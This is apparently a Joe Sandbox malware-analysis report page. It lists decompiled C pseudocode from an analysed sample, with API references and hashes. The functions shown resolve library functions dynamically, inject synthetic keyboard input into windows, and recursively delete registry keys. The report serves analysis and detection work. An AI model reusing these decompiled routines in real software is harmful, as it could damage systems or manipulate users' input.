                                                                                                                                                                            0x0047b5ef
                                                                                                                                                                            0x0047b5f3
                                                                                                                                                                            0x0047b5f9
                                                                                                                                                                            0x0047b609
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b618
                                                                                                                                                                            0x0047b61d
                                                                                                                                                                            0x0047b62d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b639
                                                                                                                                                                            0x0047b63e
                                                                                                                                                                            0x0047b64e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b5a0
                                                                                                                                                                            0x0047b5a4
                                                                                                                                                                            0x0047b5a8
                                                                                                                                                                            0x0047b5ac
                                                                                                                                                                            0x0047b5ad
                                                                                                                                                                            0x0047b5b1
                                                                                                                                                                            0x0047b5b2
                                                                                                                                                                            0x0047b5b6
                                                                                                                                                                            0x0047b5b7
                                                                                                                                                                            0x0047b5bb
                                                                                                                                                                            0x0047b5bc
                                                                                                                                                                            0x0047b5bd
                                                                                                                                                                            0x0047b5be
                                                                                                                                                                            0x0047b5bf
                                                                                                                                                                            0x0047b5c0
                                                                                                                                                                            0x0047b5c1
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b3dc
                                                                                                                                                                            0x0047b3e0
                                                                                                                                                                            0x0047b3e6
                                                                                                                                                                            0x0047b3f6
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b68e
                                                                                                                                                                            0x0047b693
                                                                                                                                                                            0x0047b6a2
                                                                                                                                                                            0x0047b6a7
                                                                                                                                                                            0x0047b6a7
                                                                                                                                                                            0x0047b6a9
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b6ab
                                                                                                                                                                            0x0047b6b1
                                                                                                                                                                            0x0047b6b6
                                                                                                                                                                            0x0047b6bb
                                                                                                                                                                            0x0047b6bf
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b6c5
                                                                                                                                                                            0x0047b6c9
                                                                                                                                                                            0x0047b6cd
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b6d3
                                                                                                                                                                            0x0047b6d3
                                                                                                                                                                            0x0047b6e4
                                                                                                                                                                            0x0047b6e4
                                                                                                                                                                            0x0047b6cd
                                                                                                                                                                            0x0047b6bf
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b7ed
                                                                                                                                                                            0x0047b7ed
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b7f3
                                                                                                                                                                            0x0047b7f3
                                                                                                                                                                            0x0047b7f7
                                                                                                                                                                            0x0047b7fb
                                                                                                                                                                            0x0047b7fe
                                                                                                                                                                            0x0047b802
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b808
                                                                                                                                                                            0x0047b808
                                                                                                                                                                            0x0047b80c
                                                                                                                                                                            0x0047b810
                                                                                                                                                                            0x0047b813
                                                                                                                                                                            0x0047b817
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b81d
                                                                                                                                                                            0x0047b821
                                                                                                                                                                            0x0047b821
                                                                                                                                                                            0x0047b824
                                                                                                                                                                            0x0047b824
                                                                                                                                                                            0x0047b828
                                                                                                                                                                            0x0047b82c
                                                                                                                                                                            0x0047b830
                                                                                                                                                                            0x0047b830
                                                                                                                                                                            0x0047b833
                                                                                                                                                                            0x0047b837
                                                                                                                                                                            0x0047b839
                                                                                                                                                                            0x0047b83c
                                                                                                                                                                            0x0047b847
                                                                                                                                                                            0x0047b84b
                                                                                                                                                                            0x0047b84b
                                                                                                                                                                            0x0047b84e
                                                                                                                                                                            0x0047b83e
                                                                                                                                                                            0x0047b83e
                                                                                                                                                                            0x0047b845
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b845
                                                                                                                                                                            0x0047b83c
                                                                                                                                                                            0x0047b851
                                                                                                                                                                            0x0047b855
                                                                                                                                                                            0x0047b857
                                                                                                                                                                            0x0047b85a
                                                                                                                                                                            0x0047b865
                                                                                                                                                                            0x0047b869
                                                                                                                                                                            0x0047b869
                                                                                                                                                                            0x0047b86c
                                                                                                                                                                            0x0047b85c
                                                                                                                                                                            0x0047b85c
                                                                                                                                                                            0x0047b863
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b863
                                                                                                                                                                            0x0047b85a
                                                                                                                                                                            0x0047b884
                                                                                                                                                                            0x0047b88a
                                                                                                                                                                            0x0047b88a
                                                                                                                                                                            0x0047b88f
                                                                                                                                                                            0x0047b895
                                                                                                                                                                            0x0047b895
                                                                                                                                                                            0x0047b89a
                                                                                                                                                                            0x0047b8a1
                                                                                                                                                                            0x0047b8a3
                                                                                                                                                                            0x0047b8aa
                                                                                                                                                                            0x0047b8c0
                                                                                                                                                                            0x0047b8ac
                                                                                                                                                                            0x0047b8b2
                                                                                                                                                                            0x0047b8b2
                                                                                                                                                                            0x0047b8aa
                                                                                                                                                                            0x0047b8c6
                                                                                                                                                                            0x0047b8c9
                                                                                                                                                                            0x0047b8cc
                                                                                                                                                                            0x0047b8d0
                                                                                                                                                                            0x0047b8d0
                                                                                                                                                                            0x0047b8d5
                                                                                                                                                                            0x0047b8d8
                                                                                                                                                                            0x0047b8db
                                                                                                                                                                            0x0047b8df
                                                                                                                                                                            0x0047b8df
                                                                                                                                                                            0x0047b8e8
                                                                                                                                                                            0x0047b8f6
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b2fd
                                                                                                                                                                            0x0047b2f3
                                                                                                                                                                            0x0047b228
                                                                                                                                                                            0x0047b228
                                                                                                                                                                            0x0047b228
                                                                                                                                                                            0x0047b22c
                                                                                                                                                                            0x0047b22c
                                                                                                                                                                            0x0047b23a
                                                                                                                                                                            0x0047b23a
                                                                                                                                                                            0x00000000

                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: c82efa3070467c2623ec738b5b2be2cd760763614a3dd1863134219050ad48d5
                                                                                                                                                                            • Instruction ID: be39947db1ffbcb7075193c31d102fc15fe4f6af8d23ce90efbce3d2b6a77a88
                                                                                                                                                                            • Opcode Fuzzy Hash: c82efa3070467c2623ec738b5b2be2cd760763614a3dd1863134219050ad48d5
                                                                                                                                                                            • Instruction Fuzzy Hash: 4BF16D71108740AFD210DB59C880EABB7F9EFCA744F10891EF69983261D735AC45CBAA
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00463D7E Relevance: 7.6, APIs: 5, Instructions: 141libraryloaderCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 87%
                                                                                                                                                                            			E00463D7E(void* __fp0, intOrPtr* _a4, signed int* _a8, char _a12) {
				intOrPtr* _v0;
				intOrPtr* _v4;
				char _v16;
				char _v20;
				CHAR* _v24;
				CHAR* _v28;
				char _v32;
				char _v36;
				char _v40;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t44;
				CHAR* _t45;
				signed int _t47;
				intOrPtr _t48;
				void* _t54;
				signed int _t56;
				signed int _t64;
				intOrPtr* _t79;
				char _t104;
				struct HINSTANCE__* _t110;
				void* _t115;

				_t115 = __fp0;
				_t79 = _a4;
				_t104 = _a12;
				_t44 = E00453063( *((intOrPtr*)( *((intOrPtr*)(_t104 + 4)) + 8)));
				_v36 =  *_t44;
				_t45 =  *((intOrPtr*)(_t44 + 0xc));
				 *_t45 =  *_t45 + 1;
				_v32 =  *((intOrPtr*)(_t44 + 4));
				_t105 =  *((intOrPtr*)( *((intOrPtr*)(_t104 + 4))));
				_v28 =  *((intOrPtr*)(_t44 + 8));
				_v24 = _t45;
				_a8 = 0;
				if(E00443E34( *((intOrPtr*)( *((intOrPtr*)(_t104 + 4))))) == 0) {
					_t47 = E0040C760(_t105);
					__eflags = _t47;
					if(_t47 <= 0) {
						goto L6;
					} else {
						_t54 = E0040C760( *((intOrPtr*)( *((intOrPtr*)(_t104 + 4)))));
						__eflags = _t54 -  *((intOrPtr*)(_t79 + 0x190));
						if(_t54 >  *((intOrPtr*)(_t79 + 0x190))) {
							goto L6;
						} else {
							_t56 = E0040C760( *((intOrPtr*)( *((intOrPtr*)(_t104 + 4))))) - 1;
							__eflags = _t56;
							_t110 =  *( *( *((intOrPtr*)(_t79 + 0x18c)) + _t56 * 4));
							goto L5;
						}
					}
				} else {
					_t110 = LoadLibraryW(E00453081(_t105));
					_a8 = 1;
					L5:
					if(_t110 != 0) {
						_t98 =  *((intOrPtr*)(_t104 + 4));
						_t107 =  *((intOrPtr*)( *((intOrPtr*)(_t104 + 4)) + 8));
						__eflags = E00443E34( *((intOrPtr*)( *((intOrPtr*)(_t104 + 4)) + 8)));
						if(__eflags == 0) {
							 *_a8 = GetProcAddress(_t110, E0040C760(_t107));
						} else {
							_t109 =  &_v16;
							E0040D500( &_v16, __eflags);
							E0045EFE7( &_v32, _t98, _t104,  &_v32,  &_v16);
							 *_v0 = GetProcAddress(_t110, _v24);
							E00401330(_v24, _t109);
						}
						__eflags =  *_a8;
						if( *_a8 != 0) {
							L18:
							E00402620( &_v32);
							return _t110;
						} else {
							_t100 =  *((intOrPtr*)( *((intOrPtr*)(_t104 + 4)) + 8));
							_t64 = E00443E34( *((intOrPtr*)( *((intOrPtr*)(_t104 + 4)) + 8)));
							__eflags = _t64;
							if(_t64 != 0) {
								E00403470( &_v32, _t79, _t110, _t115, 0x41);
								_t108 =  &_v20;
								E0040D500( &_v20, __eflags);
								E0045EFE7( &_v36, _t100, _t104,  &_v36,  &_v20);
								 *_v4 = GetProcAddress(_t110, _v28);
								E00401330(_v28, _t108);
							}
							__eflags =  *_a8;
							if( *_a8 != 0) {
								goto L18;
							} else {
								__eflags = _a12;
								if(_a12 != 0) {
									FreeLibrary(_t110);
								}
								_t48 =  *((intOrPtr*)( *_t79 + 4));
								_push(0);
								_push(3);
								goto L7;
							}
						}
					} else {
						L6:
						_t48 =  *((intOrPtr*)( *_t79 + 4));
						_push(0);
						_push(1);
						L7:
						E004040E0(_t48 + _t79);
						E00402620( &_v40);
						return 0;
					}
				}
			}



























                                                                                                                                                                            0x00463d7e
                                                                                                                                                                            0x00463d82
                                                                                                                                                                            0x00463d89
                                                                                                                                                                            0x00463d94
                                                                                                                                                                            0x00463d9e
                                                                                                                                                                            0x00463da5
                                                                                                                                                                            0x00463da8
                                                                                                                                                                            0x00463daa
                                                                                                                                                                            0x00463db1
                                                                                                                                                                            0x00463db4
                                                                                                                                                                            0x00463db8
                                                                                                                                                                            0x00463dbc
                                                                                                                                                                            0x00463dc8
                                                                                                                                                                            0x00463de2
                                                                                                                                                                            0x00463de7
                                                                                                                                                                            0x00463de9
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00463deb
                                                                                                                                                                            0x00463df6
                                                                                                                                                                            0x00463dfb
                                                                                                                                                                            0x00463dfd
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00463dff
                                                                                                                                                                            0x00463e0f
                                                                                                                                                                            0x00463e0f
                                                                                                                                                                            0x00463e13
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00463e13
                                                                                                                                                                            0x00463dfd
                                                                                                                                                                            0x00463dca
                                                                                                                                                                            0x00463dd7
                                                                                                                                                                            0x00463dd9
                                                                                                                                                                            0x00463e15
                                                                                                                                                                            0x00463e17
                                                                                                                                                                            0x00463e3e
                                                                                                                                                                            0x00463e41
                                                                                                                                                                            0x00463e4a
                                                                                                                                                                            0x00463e4c
                                                                                                                                                                            0x00463e8e
                                                                                                                                                                            0x00463e4e
                                                                                                                                                                            0x00463e4e
                                                                                                                                                                            0x00463e52
                                                                                                                                                                            0x00463e5d
                                                                                                                                                                            0x00463e72
                                                                                                                                                                            0x00463e74
                                                                                                                                                                            0x00463e74
                                                                                                                                                                            0x00463e94
                                                                                                                                                                            0x00463e97
                                                                                                                                                                            0x00463f04
                                                                                                                                                                            0x00463f08
                                                                                                                                                                            0x00463f16
                                                                                                                                                                            0x00463e99
                                                                                                                                                                            0x00463e9c
                                                                                                                                                                            0x00463ea0
                                                                                                                                                                            0x00463ea5
                                                                                                                                                                            0x00463ea7
                                                                                                                                                                            0x00463eaf
                                                                                                                                                                            0x00463eb4
                                                                                                                                                                            0x00463eb8
                                                                                                                                                                            0x00463ec3
                                                                                                                                                                            0x00463ed8
                                                                                                                                                                            0x00463eda
                                                                                                                                                                            0x00463eda
                                                                                                                                                                            0x00463ee3
                                                                                                                                                                            0x00463ee6
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00463ee8
                                                                                                                                                                            0x00463ee8
                                                                                                                                                                            0x00463eed
                                                                                                                                                                            0x00463ef0
                                                                                                                                                                            0x00463ef0
                                                                                                                                                                            0x00463ef8
                                                                                                                                                                            0x00463efb
                                                                                                                                                                            0x00463efd
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00463efd
                                                                                                                                                                            0x00463ee6
                                                                                                                                                                            0x00463e19
                                                                                                                                                                            0x00463e19
                                                                                                                                                                            0x00463e1b
                                                                                                                                                                            0x00463e1e
                                                                                                                                                                            0x00463e20
                                                                                                                                                                            0x00463e22
                                                                                                                                                                            0x00463e24
                                                                                                                                                                            0x00463e2d
                                                                                                                                                                            0x00463e3b
                                                                                                                                                                            0x00463e3b
                                                                                                                                                                            0x00463e17

                                                                                                                                                                            APIs
                                                                                                                                                                            • LoadLibraryW.KERNEL32(00000000), ref: 00463DD1
                                                                                                                                                                            • GetProcAddress.KERNEL32(?,?), ref: 00463E68
                                                                                                                                                                            • GetProcAddress.KERNEL32(?,00000000), ref: 00463E84
                                                                                                                                                                            • GetProcAddress.KERNEL32(?,?), ref: 00463ECE
                                                                                                                                                                            • FreeLibrary.KERNEL32(?,?,?,00000000,?), ref: 00463EF0
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: AddressProc$Library$FreeLoad
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2449869053-0
                                                                                                                                                                            • Opcode ID: 6560e9a9548e0f7d53ce025ee2f64236660ce85aa97c100a43ec9bf528c934e2
                                                                                                                                                                            • Instruction ID: 5a5949aabc30296464acd143044f95cbdcafad8a77d2d24e7d672d776762960f
                                                                                                                                                                            • Opcode Fuzzy Hash: 6560e9a9548e0f7d53ce025ee2f64236660ce85aa97c100a43ec9bf528c934e2
                                                                                                                                                                            • Instruction Fuzzy Hash: 9051C1752043409FC300EF25C881A5BB7A4FF89305F00456EF945A73A2DB79EE45CBAA
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0044C379 Relevance: 7.6, APIs: 5, Instructions: 137windowkeyboardCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 92%
                                                                                                                                                                            			E0044C379(void* __fp0) {
				signed char _t53;
				int _t54;
				intOrPtr* _t62;
				signed int _t63;
				long _t66;
				intOrPtr _t68;
				void* _t69;
				void* _t83;

				_t83 = __fp0;
				_t68 =  *((intOrPtr*)(_t69 + 0x130));
				_t62 =  *((intOrPtr*)(_t69 + 0x13c));
				_t53 =  *_t62;
				_t63 =  *(_t62 + 8) & 0x0000ffff;
				 *(_t69 + 0x10) = _t53;
				 *(_t69 + 0x14) =  *((intOrPtr*)(_t62 + 7));
				if( *(_t68 + 0x20) == 0 || _t53 == 0x14 || _t53 == 0x90 || _t53 == 0x91) {
					if(E00437A22(_t62) == 0) {
						 *((intOrPtr*)(_t69 + 0x24)) = 1;
						 *((short*)(_t69 + 0x28)) = 0;
						 *(_t69 + 0x2a) = _t63;
						 *((intOrPtr*)(_t69 + 0x2c)) = 6;
						 *((intOrPtr*)(_t69 + 0x30)) = 0;
						 *(_t69 + 0x34) = 0;
						 *0x4825b4(1, _t69 + 0x1c, 0x1c);
						goto L19;
					} else {
						if(E00444EF7(_t62) != 1) {
							E004378B5(_t68,  *(_t69 + 0x10),  *(_t69 + 0x14), 2);
							return E00437953(_t83, _t68);
						} else {
							E004378B5(_t68,  *(_t69 + 0x10),  *(_t69 + 0x14), 3);
							return E00437953(_t83, _t68);
						}
					}
				} else {
					if(E00437A22(_t62) == 0) {
						L19:
						return E00437953(_t83, _t68);
					} else {
						GetKeyboardState(_t69 + 0x34);
						_t54 = _t53 & 0x000000ff;
						 *(_t69 + _t54 + 0x34) =  *(_t69 + _t54 + 0x34) ^ 0x00000080;
						SetKeyboardState(_t69 + 0x34);
						_t66 = ( *(_t69 + 0x14) & 0x000000ff) << 0x00000010 | 0xc0000001;
						if(E00444EF7(_t62) == 1) {
							_t66 = _t66 | 0x01000000;
						}
						if( *((char*)(_t68 + 0x17)) != 0 ||  *((char*)(_t68 + 0x1d)) != 0 ||  *(_t69 + 0x10) == 0x12) {
							if( *((char*)(_t68 + 0x16)) != 0 ||  *((char*)(_t68 + 0x1c)) != 0) {
								goto L13;
							} else {
								PostMessageW( *(_t68 + 0x20), 0x105, _t54, _t66 | 0x20000000);
								return E00437953(_t83, _t68);
							}
						} else {
							L13:
							PostMessageW( *(_t68 + 0x20), 0x101, _t54, _t66);
							return E00437953(_t83, _t68);
						}
					}
				}
			}











                                                                                                                                                                            0x0044c379
                                                                                                                                                                            0x0044c381
                                                                                                                                                                            0x0044c38e
                                                                                                                                                                            0x0044c395
                                                                                                                                                                            0x0044c39a
                                                                                                                                                                            0x0044c39e
                                                                                                                                                                            0x0044c3a2
                                                                                                                                                                            0x0044c3a6
                                                                                                                                                                            0x0044c486
                                                                                                                                                                            0x0044c4e7
                                                                                                                                                                            0x0044c4ef
                                                                                                                                                                            0x0044c4f4
                                                                                                                                                                            0x0044c4f9
                                                                                                                                                                            0x0044c501
                                                                                                                                                                            0x0044c505
                                                                                                                                                                            0x0044c509
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044c488
                                                                                                                                                                            0x0044c490
                                                                                                                                                                            0x0044c4c4
                                                                                                                                                                            0x0044c4d9
                                                                                                                                                                            0x0044c492
                                                                                                                                                                            0x0044c49f
                                                                                                                                                                            0x0044c4b4
                                                                                                                                                                            0x0044c4b4
                                                                                                                                                                            0x0044c490
                                                                                                                                                                            0x0044c3c7
                                                                                                                                                                            0x0044c3cf
                                                                                                                                                                            0x0044c50f
                                                                                                                                                                            0x0044c51f
                                                                                                                                                                            0x0044c3d5
                                                                                                                                                                            0x0044c3da
                                                                                                                                                                            0x0044c3e0
                                                                                                                                                                            0x0044c3e3
                                                                                                                                                                            0x0044c3ed
                                                                                                                                                                            0x0044c3fc
                                                                                                                                                                            0x0044c409
                                                                                                                                                                            0x0044c40b
                                                                                                                                                                            0x0044c40b
                                                                                                                                                                            0x0044c415
                                                                                                                                                                            0x0044c428
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044c430
                                                                                                                                                                            0x0044c441
                                                                                                                                                                            0x0044c457
                                                                                                                                                                            0x0044c457
                                                                                                                                                                            0x0044c45a
                                                                                                                                                                            0x0044c45a
                                                                                                                                                                            0x0044c465
                                                                                                                                                                            0x0044c47b
                                                                                                                                                                            0x0044c47b
                                                                                                                                                                            0x0044c415
                                                                                                                                                                            0x0044c3cf

                                                                                                                                                                            APIs
                                                                                                                                                                            • GetKeyboardState.USER32(?,?,00000001,00000001,?,00000000), ref: 0044C3DA
                                                                                                                                                                            • SetKeyboardState.USER32(00000080), ref: 0044C3ED
                                                                                                                                                                            • PostMessageW.USER32(00000000,00000105,?,?), ref: 0044C441
                                                                                                                                                                            • PostMessageW.USER32(00000000,00000101,?,?), ref: 0044C465
                                                                                                                                                                            • SendInput.USER32 ref: 0044C509
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: KeyboardMessagePostState$InputSend
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3031425849-0
                                                                                                                                                                            • Opcode ID: b49b686b41cf8e4dc8898cf8a112ca1a8544ab09a95107e5a7613c5accf95fc9
                                                                                                                                                                            • Instruction ID: f46f63d78903415e516a46676784f6fcea1caa301ceb581e17347d916cd8316d
                                                                                                                                                                            • Opcode Fuzzy Hash: b49b686b41cf8e4dc8898cf8a112ca1a8544ab09a95107e5a7613c5accf95fc9
                                                                                                                                                                            • Instruction Fuzzy Hash: DB413B715462446FF760AB24D944BBFBB94AF99324F04061FF9D4122C2D37D9908C77A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004422B9 Relevance: 7.6, APIs: 5, Instructions: 108registryCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 87%
                                                                                                                                                                            			E004422B9(void* _a4, signed int _a8) {
				short _v516;
				short _v520;
				struct _FILETIME _v524;
				struct _FILETIME _v528;
				char _v536;
				int _v540;
				void* _v544;
				int _v548;
				int _v552;
				int _t29;
				void* _t33;
				void* _t35;
				long _t36;
				signed int _t57;
				void* _t58;
				int* _t60;

				_t60 =  &_v548;
				_t58 = _a4;
				_v548 = 0xff;
				if(RegEnumKeyExW(_t58, 0,  &_v516,  &_v548, 0, 0, 0,  &_v524) == 0x103) {
					L10:
					return 1;
				} else {
					_t57 = _a8;
					_t29 = _t57 | 0x00020019;
					_v540 = _t29;
					while(RegOpenKeyExW(_t58,  &_v516, 0, _t29,  &_v544) == 0) {
						_t33 = E004422B9(_v544, _t57);
						_t60 =  &(_t60[2]);
						RegCloseKey(_v544);
						if(_t33 == 0) {
							break;
						} else {
							_v536 = 0;
							_v528 = 0;
							_t35 = E00434153( &_v536);
							_t64 = _t35;
							if(_t35 == 0) {
								_t36 = RegDeleteKeyW(_t58,  &_v516);
							} else {
								_push(0);
								_push(_t57);
								_push( &_v516);
								_push(_t58);
								_t36 =  *((intOrPtr*)(E0044229A(_t64,  &_v536)))();
							}
							if(_t36 != 0) {
								E004344A0( &_v536);
								break;
							} else {
								E004344A0( &_v536);
								_v552 = 0xff;
								if(RegEnumKeyExW(_t58, 0,  &_v520,  &_v552, 0, 0, 0,  &_v528) != 0x103) {
									_t29 = _v540;
									continue;
								} else {
									goto L10;
								}
							}
						}
						goto L13;
					}
					__eflags = 0;
					return 0;
				}
				L13:
			}



















                                                                                                                                                                            0x004422b9
                                                                                                                                                                            0x004422c8
                                                                                                                                                                            0x004422e8
                                                                                                                                                                            0x004422f7
                                                                                                                                                                            0x004423cd
                                                                                                                                                                            0x004423d9
                                                                                                                                                                            0x004422fd
                                                                                                                                                                            0x004422fd
                                                                                                                                                                            0x00442306
                                                                                                                                                                            0x0044230b
                                                                                                                                                                            0x0044231d
                                                                                                                                                                            0x0044233f
                                                                                                                                                                            0x00442348
                                                                                                                                                                            0x0044234e
                                                                                                                                                                            0x00442356
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044235c
                                                                                                                                                                            0x00442363
                                                                                                                                                                            0x00442367
                                                                                                                                                                            0x0044236b
                                                                                                                                                                            0x00442370
                                                                                                                                                                            0x00442372
                                                                                                                                                                            0x00442390
                                                                                                                                                                            0x00442374
                                                                                                                                                                            0x00442374
                                                                                                                                                                            0x00442375
                                                                                                                                                                            0x0044237a
                                                                                                                                                                            0x0044237b
                                                                                                                                                                            0x00442386
                                                                                                                                                                            0x00442386
                                                                                                                                                                            0x00442398
                                                                                                                                                                            0x004423df
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044239a
                                                                                                                                                                            0x0044239f
                                                                                                                                                                            0x004423b8
                                                                                                                                                                            0x004423c7
                                                                                                                                                                            0x00442319
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004423c7
                                                                                                                                                                            0x00442398
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00442356
                                                                                                                                                                            0x004423e7
                                                                                                                                                                            0x004423f0
                                                                                                                                                                            0x004423f0
                                                                                                                                                                            0x00000000

                                                                                                                                                                            APIs
                                                                                                                                                                            • RegEnumKeyExW.ADVAPI32 ref: 004422F0
                                                                                                                                                                            • RegOpenKeyExW.ADVAPI32(?,00000000,00000000,?,?), ref: 0044232B
                                                                                                                                                                            • RegCloseKey.ADVAPI32(00000000), ref: 0044234E
                                                                                                                                                                            • RegDeleteKeyW.ADVAPI32(?,?), ref: 00442390
                                                                                                                                                                            • RegEnumKeyExW.ADVAPI32 ref: 004423C0
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Enum$CloseDeleteOpen
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2095303065-0
                                                                                                                                                                            • Opcode ID: 367b6e42355be36f427f5e4c5f923650598af64a8eac08207e4f2af605b886a1
